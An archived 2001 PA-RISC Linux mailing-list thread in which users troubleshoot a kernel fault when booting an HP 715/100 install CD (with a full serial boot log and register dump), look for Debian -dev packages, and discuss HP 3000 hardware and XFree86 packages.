	by mail.zabbadoz.net (8.11.0/8.11.0) with ESMTP id f72L3Fj01617;
	Thu, 2 Aug 2001 23:03:15 +0200 (CEST)
X-Sender: <bz@noc.zabbadoz.net>
In-Reply-To: <3B693F62.E1E701F7@hedd.de>
Xref: news.gmane.org gmane.linux.ports.parisc:11787

On Thu, 2 Aug 2001, Martin Eisfeld wrote:

> Hello everyone,
> I have a big proplem of installing PA-RISC Linux 0.9.2 on a HP9000 Model
> 715/100.
>
> I have downloaded the cd-image palinux-0.9.2.iso.gz from

[snip]

> Then the the maschine reboots.
>
> I have tried to boot the cd on to different hp9000 model 715/100. The
> result is everytime the same.

Hi,

I also had problems with 0.92iso (and 0.91iso).
palinux-0.9-32serial.iso then worked for me and the machine is up and
running for days.
Why 0.91/2 doesn't work I still don't know :(

Hope that helps.

-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/





From - Thu Nov 08 21:18:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb+hplinux@zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] dev-packages
Date: Thu, 2 Aug 2001 23:06:15 +0200 (CEST)
Lines: 19
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.30.0108022303200.38503-100000@noc.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620355 23298 80.91.229.3 (22 Nov 2014 01:39:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:15 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  2 15:06:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zabbadoz.net (mail.zabbadoz.net [195.2.176.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 90270482C
	for <parisc-linux@lists.parisc-linux.org>; Thu,  2 Aug 2001 15:06:17 -0600 (MDT)
Original-Received: from localhost (bz@localhost)
	by mail.zabbadoz.net (8.11.0/8.11.0) with ESMTP id f72L6Gv01892
	for <parisc-linux@lists.parisc-linux.org>; Thu, 2 Aug 2001 23:06:16 +0200 (CEST)
X-Sender: <bz@noc.zabbadoz.net>
Xref: news.gmane.org gmane.linux.ports.parisc:11788

Hi,

is there any chance to get more/all dev-packages on the next ISOs or
place them somewhere on ftp.
Couldn't find them anywhere (except those that are in isos).

This would avoid lots of bootstrapping work.

(especially looking for pam and X -dev packages at the moment ;)

Thanks a lot.

-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/





From - Thu Nov 08 21:18:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] dev-packages
Date: Thu, 2 Aug 2001 22:19:05 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <20010802221905.C20250@parcelfarce.linux.theplanet.co.uk>
References: <Pine.BSF.4.30.0108022303200.38503-100000@noc.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620355 23301 80.91.229.3 (22 Nov 2014 01:39:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Bjoern A. Zeeb" <bzeeb+hplinux@zabbadoz.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  2 15:19:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id B7A78482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  2 Aug 2001 15:19:06 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15SPs1-00026o-00; Thu, 02 Aug 2001 22:19:05 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.BSF.4.30.0108022303200.38503-100000@noc.zabbadoz.net>; from bzeeb+hplinux@zabbadoz.net on Thu, Aug 02, 2001 at 11:06:15PM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11789

On Thu, Aug 02, 2001 at 11:06:15PM +0200, Bjoern A. Zeeb wrote:
> is there any chance to get more/all dev-packages on the next ISOs or
> place them somewhere on ftp.
> Couldn't find them anywhere (except those that are in isos).
> 
> This would avoid lots of bootstrapping work.
> 
> (especially looking for pam and X -dev packages at the moment ;)

They're all available in the debian archive.  I don't think we have
plans to produce any more CDs until the Debian Woody release (probably
December).

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux on R947X?
Date: Thu, 02 Aug 2001 18:23:35 -0600
Lines: 30
Approved: news@gmane.org
Message-ID: <200108030023.SAA21794@puffin.external.hp.com>
References: <kevin_carson@hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620355 23306 80.91.229.3 (22 Nov 2014 01:39:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:15 +0000 (UTC)
Cc: robert.holmberg@idobath.com, parisc-linux@lists.parisc-linux.org
To: "CARSON,KEVIN (HP-Canada,ex1)" <kevin_carson@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  2 18:25:01 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9623F482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  2 Aug 2001 18:25:01 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id SAA21794;
	Thu, 2 Aug 2001 18:23:35 -0600
In-Reply-To: Message from "CARSON,KEVIN (HP-Canada,ex1)" <kevin_carson@hp.com> 
   of "Thu, 02 Aug 2001 12:50:08 EDT." <B9957F974955D411829400D0B74FF27A04BF7875@xtor01.canada.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:11790

"CARSON,KEVIN (HP-Canada,ex1)" wrote:
> I believe we are talking about a 947RX which is the MPe equivalent of the
> G30.

Ok.

> This presents two problems.  The hardware is identical to the G30 but
> everything that I have read in the PA-Linux project is that support for
> these machines will be a long time coming, if ever.

So far, no one inside HP has volunteered to make it happen.
If someone external wants to sign an NDA for device docs and make it
happen, that might be possible.

> The second problem is
> that the firmware is different for MPe than HP-UX.

At some point MPE systems were only different from HPUX systems
by changing the model string. G30 is a "nova-class" machine and
might predate this.

thanks,
grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb+hplinux@zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] dev-packages
Date: Fri, 3 Aug 2001 06:56:08 +0200 (CEST)
Lines: 15
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.30.0108030645560.38503-100000@noc.zabbadoz.net>
References: <20010802221905.C20250@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620356 23310 80.91.229.3 (22 Nov 2014 01:39:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:16 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  2 22:56:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zabbadoz.net (mail.zabbadoz.net [195.2.176.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 91C12482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  2 Aug 2001 22:56:40 -0600 (MDT)
Original-Received: from localhost (bz@localhost)
	by mail.zabbadoz.net (8.11.0/8.11.0) with ESMTP id f734u8815065;
	Fri, 3 Aug 2001 06:56:09 +0200 (CEST)
X-Sender: <bz@noc.zabbadoz.net>
In-Reply-To: <20010802221905.C20250@parcelfarce.linux.theplanet.co.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11791

On Thu, 2 Aug 2001, Matthew Wilcox wrote:

> They're all available in the debian archive.  I don't think we have
> plans to produce any more CDs until the Debian Woody release (probably
> December).

Could you point me to some URL (incl. subdir) please ?

-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/





From - Thu Nov 08 21:18:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: robert.holmberg@idobath.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux on R947X?
Date: Fri, 3 Aug 2001 08:13:25 +0300
Lines: 39
Approved: news@gmane.org
Message-ID: <OF2D9D6940.FD322FDA-ONC2256A9D.001B9ABF@LocalDomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620356 23312 80.91.229.3 (22 Nov 2014 01:39:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:16 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  2 23:20:16 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from seal.surfnet.fi (mail.surfnet.fi [194.137.58.13])
	by dsl2.external.hp.com (Postfix) with ESMTP id 976D5482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  2 Aug 2001 23:20:15 -0600 (MDT)
Original-Received: from IDOEKE3 (eke-breakwater.surfnet.fi [194.215.74.2])
	by seal.surfnet.fi (8.11.0/8.11.0) with ESMTP id f735KDv18575
	for <parisc-linux@lists.parisc-linux.org>; Fri, 3 Aug 2001 08:20:13 +0300
X-Mailer: Lotus Notes Release 5.0.7  March 21, 2001
X-MIMETrack: Serialize by Router on NOTESSRV01/IDO(Release 5.0.5 |September 22, 2000) at
 03.08.2001 08:13:18
Xref: news.gmane.org gmane.linux.ports.parisc:11792

Stan Sieler wrote:

>> I believe we are talking about a 947RX which is the MPe equivalent of
the
>> G30.
> Yes.

Checking the label of the box, yes. My memory must have failed me.. :) It
is running MPe/iX, but I'm not touching it. Maybe I shouldn't be, but VMS
and SCO-Unix have left me scared to death of vendor-specific OSes.

> And, of course, you're giving up a lot more turning an HP 3000 into a
Linux
> box than you are when turning an HP 9000 into a Linux box :-)

Yes, the only time its been down in the last three years was a month ago
when the serverroom cooing failed and the power was cut when the
temperatute rose too much. I seriously wonder if the W2K servers supposed
to replace it will even get close to this kind of reliability.

> Seriously, if he has a 947RX, he might be able to resell it.

If we won't be able to use it after it goes out of production service this
fall, this would be the general idea, yes. Who would be buying and what
should they be paying?

> As far as selling a 922?   It's a very old HP 3000, and has little or no
> market value :( (By "little or no", I mean: you'll be lucky to sell it
for $50.)

I know it isn't exactly worth its weight in anything else than sweat
(carrying it), but how about the sex appeal? That must count for something!
:-)

Robert.





From - Thu Nov 08 21:18:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] dev-packages
Date: Fri, 3 Aug 2001 13:25:33 +0800
Lines: 31
Approved: news@gmane.org
Message-ID: <20010803132528.G9637@neep.com.au>
References: <20010802221905.C20250@parcelfarce.linux.theplanet.co.uk> <Pine.BSF.4.30.0108030645560.38503-100000@noc.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620356 23319 80.91.229.3 (22 Nov 2014 01:39:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:16 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  2 23:25:49 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.iinet.net.au (i003-034.nv.iinet.net.au [203.59.3.34])
	by dsl2.external.hp.com (Postfix) with SMTP id 56FA0482D
	for <parisc-linux@lists.parisc-linux.org>; Thu,  2 Aug 2001 23:25:48 -0600 (MDT)
Original-Received: (qmail 4529 invoked by uid 666); 3 Aug 2001 05:25:44 -0000
Original-Received: from unknown (HELO guinness.internal.neep.com.au) (203.59.163.145)
  by mail.iinet.net.au with SMTP; 3 Aug 2001 05:25:44 -0000
Original-Received: (from andrew@localhost)
	by guinness.internal.neep.com.au (8.9.3/8.9.3/Debian/GNU) id NAA21965
	for parisc-linux@lists.parisc-linux.org; Fri, 3 Aug 2001 13:25:36 +0800
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.BSF.4.30.0108030645560.38503-100000@noc.zabbadoz.net>; from bzeeb+hplinux@zabbadoz.net on Fri, Aug 03, 2001 at 06:56:08AM +0200
X-URL: http://www.neep.com.au/
Xref: news.gmane.org gmane.linux.ports.parisc:11793

Quoth Bjoern A. Zeeb:
> On Thu, 2 Aug 2001, Matthew Wilcox wrote:
> > They're all available in the debian archive.  I don't think we have
> > plans to produce any more CDs until the Debian Woody release (probably
> > December).
> 
> Could you point me to some URL (incl. subdir) please ?

If you've got apt configured (/etc/apt/apt.conf, /etc/apt/sources.list)
then you don't need to worry about finding things directly.  After doing
an 'apt-get update' to fetch the current Packages files and rebuild the
local package database, you can say 'apt-cache search foo' and it will
show you all the packages called foo or with foo in their description.
A simple 'apt-get install foo-dev' will download and install the foo-dev
package and any other package it may require according to its
dependencies.

For more info & discussion on actual Debian issues rather than the
actual development of the hppa-linux kernel and toolchain have a look at
the debian-hppa mailing list (on the Debian website).

Andrew.

-- 
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."




From - Thu Nov 08 21:18:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Martin Eisfeld <me@hedd.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problems with Installing of 0.9.2 on HP 715/100
Date: Fri, 03 Aug 2001 11:26:21 +0200
Lines: 383
Approved: news@gmane.org
Message-ID: <3B6A6E3D.40CF73C1@hedd.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620356 23326 80.91.229.3 (22 Nov 2014 01:39:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:16 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug  3 03:13:33 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailproxy.de.uu.net (mailproxy.de.uu.net [192.76.144.34])
	by dsl2.external.hp.com (Postfix) with ESMTP id 66A4C482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  3 Aug 2001 03:13:32 -0600 (MDT)
Original-Received: from hedd.de (1cust-22.au1.dd.de.alter.net [149.228.0.22] (may be forged))
	by mailproxy.de.uu.net (5.5.5/5.5.5) with ESMTP id LAA29784
	for <parisc-linux@lists.parisc-linux.org>; Fri, 3 Aug 2001 11:13:29 +0200 (MET DST)
Original-Received: from hedd.de (nt10 [192.168.0.110])
	by hedd.de (8.9.3/8.9.3) with ESMTP id JAA07819
	for <parisc-linux@lists.parisc-linux.org>; Fri, 3 Aug 2001 09:57:10 +0200
X-Mailer: Mozilla 4.73 [de]C-CCK-MCD QXW0324n  (WinNT; U)
X-Accept-Language: de,en
Xref: news.gmane.org gmane.linux.ports.parisc:11794

Hello,
here are the full putput from serial terminal (terminalemulation with
hyperterminal from winnt).
Most of it was not displayed on the monitor attached to the hp9000.
Bye,
Martin Eisfeld


0x04.1081
0x04.1080
0x04.1082
0x04.1086
0x04.1087
0x04.108A
0x04.108B
0x04.108C
0x04.1083
0x04.10D1
0x04.10D2
0x04.2090
0x04.2091
0x04.209F
0x04.2096
0x04.2094
0x04.2095
0x06.C201
0x04.10DA
0x04.10D7
0x04.10D8


----------------------------------------------------------------------------
BootRom Version    1.2
Memory Size:  256 MB
----------------------------------------------------------------------------




(c) Copyright 1990-1994, Hewlett-Packard Company.
All rights reserved

Press <ESCAPE> to stop boot sequence.
0x04.2097
0x04.2098
0x04.2099
0x04.209A
0x04.209B
0x04.1091
0x04.1092
0x04.1093
0x04.1094
0x04.1095
0x04.1096
0x04.1090
0x04.108D
0x04.10D4
0x04.10D9
0x04.4080
0x04.4081
0x04.4082
0x06.C2EA
0x06.C2EF
0x04.300C
0x04.300C
0x04.300B
----------------------------------------------------------------------------
Command                                Description
-------                                -----------
Auto [boot|search] [on|off]            Set/show auto mode
Boot [pri|alt [isl]]                   Boot from primary or alternate
path
Boot [scsi|eisa.<slot>[.<addr>]] [isl] Boot from SCSI or EISA
Boot lan[.<addr>] [install] [isl]      Boot from LAN
Chassis [on|off]                       Set/show chassis codes display
mode
DefaultSS                              Reboot and set EEPROM to default
values
Diagnostic [on|off]                    Set/show diagnostic boot mode
Fastboot [on|off]                      Set/show fast boot mode
Help                                   Show this command menu
Information                            Show system information
LanAddress                             Show LAN station addresses
Monitor [<DEV>[.<type>]]               Set/show graphics monitor type
                                       (<DEV>=graphics|graphics_<1|2>)
Path [pri|alt [<DEV>[.<addr>]]]        Set/show boot source path
                                       (<DEV>=lan|scsi|eisa.<slot>)
Path [console [<DEV>[.<parm>]]]        Set/show boot console path
                                       (<DEV>=<RS232>|<GRAPH>
                                        <RS232>=rs232|rs232_2
                                        <parm>=<baud>.<length>.<parity>
                                        <GRAPH>=graphics|graphics_<1|2>
                                        <parm>=<monitor>)
Path [keyboard [hil|ps2]]              Set/show boot keyboard path
Pim [hpmc|toc|lpmc]                    Show PIM info
Search [ipl] [scsi|eisa]               Show potential boot devices
Search [ipl] [lan [install]]           Show potential boot LAN devices
Secure [on|off]                        Set/show security mode
----------------------------------------------------------------------------
BOOT_ADMIN> boot scsi.2.0
0x06.C740




Attempting to boot.

Loading Initial Program Loader

0x06.C580

IPL successfully loaded


Booting
0x06.C7FF
palo ipl 0.92 root@spqr Mon Jun 25 23:03:13 CEST 2001
0/vmlinux32 2853588 bytes @ 0x6ad6800
0/vmlinux64 3585851 bytes @ 0x6d8f800
0/ramdisk 1991209 bytes @ 0x70fb000

Command line: 'root=/dev/ram console=ttyS0 TERM=vt102'

Kernel: partition 0 file /vmlinux
Ramdisk: partition 0 file /ramdisk
Warning: kernel name doesn't end with 32 or 64... Guessing Annoyance:
Firmware d
oes not support PDC_MODEL_CAPABILITIES call
32
ELF32 executable
Entry 00100000 first 00100000 n 4
Segment 0 load 00100000 size 1606948 mediaptr 0x1000
Segment 1 load 0028a000 size 468472 mediaptr 0x18a000
Segment 2 load 00300000 size 8192 mediaptr 0x1fd000
Segment 3 load 0034bea8 size 80688 mediaptr 0x1ffea8
Loading ramdisk 1991209 bytes @ 0fe09000...
branching to kernel entry point 0x00100000
Set default PSW W bit to 0
0x02.CBF0
0x02.503F

GRs

0x00000000
0x00000000
0xF4100000
0x00000001
0xF5000000
0x00000003
0x00000001
0xF0024328
0x0000000D
0xF0305698
0xF4300000
0x00000000
0x00080BEF
0x00010000
0x00000005
0x00000032
0x00000000
0x00283BAB
0x00000001
0x00000000
0x00000000
0xF0024000
0x00000500
0x0B00002D
0x00000001
0x00000000
0x00283BAB
0x1028A010
0x00000001
0xF0305698
0x003058D8
0x007793E8

CRs

0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x000000C0
0x0000001C
0x00000000
0x00000000
0x00105800
0xFFFFFFFF
0xF153AA4B
0x00000000
0x00778944
0xB3202000
0x00000000
0x00778964
0x00007F00
0x80000000
0x002A6000
0x002A6000
0xFFFFFEFF
0x0900DEEE
0xAAAAAAAA
0xF0002000
0x00000000
0x0000001F

SRs

0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000

OTHER

0x00000000
0x00778948
0x20000000
0x9E000004
0x00000000
0x00000000
0x00000000
0x00310000
0x00000000
0x00000000
0x00000000
0xF0305710
0xFFFBE000
0x00000000
0x00000002
0x301048E6
0x3B6A561A

0x02.CBFB



Dumping Stack from 00304000 to 003058d8:

Dumping Stack from 10292000 to 10292700:
2000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
2020 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
2040 00000000 00000000 00000000 0029e000 00000000 00000000 00000000
00000000
2060 00000000 00000000 00000000 0010c8a4 00000000 00000000 00000000
00000000
2080 00007f00 00000000 f4100000 00000001 f5000000 00000003 00000001
f0024328
20a0 0000000d f0305698 f4300000 00000000 00080bef 00010000 00000005
00000032
20c0 00000000 00283bab 00000001 00000000 00000000 f0024000 00000500
0b00002d
20e0 00000001 00000000 00283bab 1028a010 00000001 f0305698 003058d8
007793e8
2100 00000002 301048e6 3b6a561a 00000000 00000000 00000000 00000000
00000000
2120 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
2140 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
2160 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
2180 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
21a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
21c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
21e0 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
2200 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
2220 00000000 00000000 00778944 00778948 0000001f 00000000 00000000
00000000
2240 00000000 0000001c b3202000 00000000 00778964 00000000 00000000
00000000
2260 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
2280 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
22a0 00000000 00000000 00000000 10106750 00000000 00000000 00000000
00000000
22c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
22e0 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
2300 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
2320 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
2340 00000000 00000000 0000001f 00296000 002a6000 f0012870 00000000
00000000
2360 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
2380 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
23a0 00000000 00000000 00000000 10102220 00000000 00000000 00000000
00000000
23c0 00000000 00000000 00000001 10292080 00000000 00000000 00000000
f0002840
23e0 00310000 00000037 f0305698 0000000d f0002848 00000000 00000000
00000001
2400 10292080 00000000 00000000 00000000 00000000 00000000 00000000
00000000
2420 00000000 00000000 00000000 10102614 00000000 00000000 00000000
00000000
2440 102565e4 00000001 10292080 00000000 00000000 00000000 00000000
00000000
2460 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
2480 00000000 00000000 00000000 00000000 00000000 003058d8 00304000
10256774
24a0 00000000 00000000 00000000 10102568 00000000 00000000 00000000
00000000
24c0 0004000e 10337010 10102614 00304000 003058d8 10256000 00000000
f0002848
24e0 0000000d f0305698 00000037 00310000 f0002840 00000000 00000000
f0305710
2500 10292080 00283bab 00000002 00000000 00000000 f0105800 01c9c380
00000060
2520 00000001 00000001 1029f3c0 1028a010 0000002a 00000000 10292700
00000000
2540 000d081f 00000000 00000000 00000000 00000000 00000000 00000000
00000000
2560 00000000 00000000 00000000 00000000 00000000 00000000 40800000
00000000
2580 7fffffff 7fffffff 7f7fffff ffffffff 7f7fffff ffffffff 00000000
00000000
25a0 00000000 00000000 41800000 00000000 00000010 00000010 00000000
00000000
25c0 7fffffff 7fffffff 41000000 00000000 40800000 00000000 7fffffff
7fffffff
25e0 41000000 00000000 7fffffff 7fffffff 40800000 00000000 41000000
00000000
2600 40300000 00000000 40200000 00000000 40200000 00000000 41800000
7fffffff
2620 40000000 00000000 40000000 00000000 40800000 00000000 41000000
00000000
2640 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
2660 00000000 00000000 10102574 10102578 0000001f 00000000 00000000
00000000
2680 00000000 0000001f 0c701093 00000000 00304008 00000000 00000000
00000000
26a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
26c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
26e0 00000000 00000000 00000000 10106750 00000000 00000000 00000000
00000000

Kernel Fault: Code=15 regs=102924c0 (Addr=00304008)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001000000000000001110
r0-3     00000000 10337010 10102614 00304000
r4-7     003058d8 10256000 00000000 f0002848
r8-11    0000000d f0305698 00000037 00310000
r12-15   f0002840 00000000 00000000 f0305710
r16-19   10292080 00283bab 00000002 00000000
r20-23   00000000 f0105800 01c9c380 00000060
r24-27   00000001 00000001 1029f3c0 1028a010
r28-31   0000002a 00000000 10292700 00000000
sr0-3    00000000 00000000 00000000 00000000
sr4-7    00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 10102574 10102578
 IIR: 0c701093    ISR: 00000000  IOR: 00304008
 ORIG_R28: 00000000




From - Thu Nov 08 21:18:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "=?iso-8859-1?Q?Jo=EBl_Soete?=" <jso@europay.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] XFree86 on B180
Date: Fri, 3 Aug 2001 12:26:16 +0200
Lines: 55
Approved: news@gmane.org
Message-ID: <OFCFD0268B.6552637A-ONC1256A9D.0025254D@LocalDomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620357 23332 80.91.229.3 (22 Nov 2014 01:39:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:17 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug  3 04:23:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from epirel991.europay.com (mail.europay.com [193.75.200.45])
	by dsl2.external.hp.com (Postfix) with ESMTP id A56D0482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  3 Aug 2001 04:23:40 -0600 (MDT)
Original-Received: from mcnbru01 (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592d5524c96a71@epirel991.europay.com>;
 Fri, 3 Aug 2001 12:23:19 +0200
X-Mailer: Lotus Notes Release 5.0.7  March 21, 2001
X-MIMETrack: Serialize by Router on MCNBRU01/MASTERCARD(Release 5.0.6a |January 17, 2001) at
 08/03/2001 12:26:15 PM
Xref: news.gmane.org gmane.linux.ports.parisc:11795

Hi all,

To test Xfree86, I install following packages:

xserver-xfree86_4.0.3-4_hppa.deb
xserver-common_4.0.3-4_hppa.deb
xterm_4.0.3-4_hppa.deb
xlibmesa3_4.0.3-4_hppa.deb
xlib6g_4.0.3-4_all.deb
xfree86-common_4.0.3-4_all.deb
xfonts-scalable_4.0.3-4_all.deb
xfonts-base_4.0.3-4_all.deb
xfonts-75dpi_4.0.3-4_all.deb
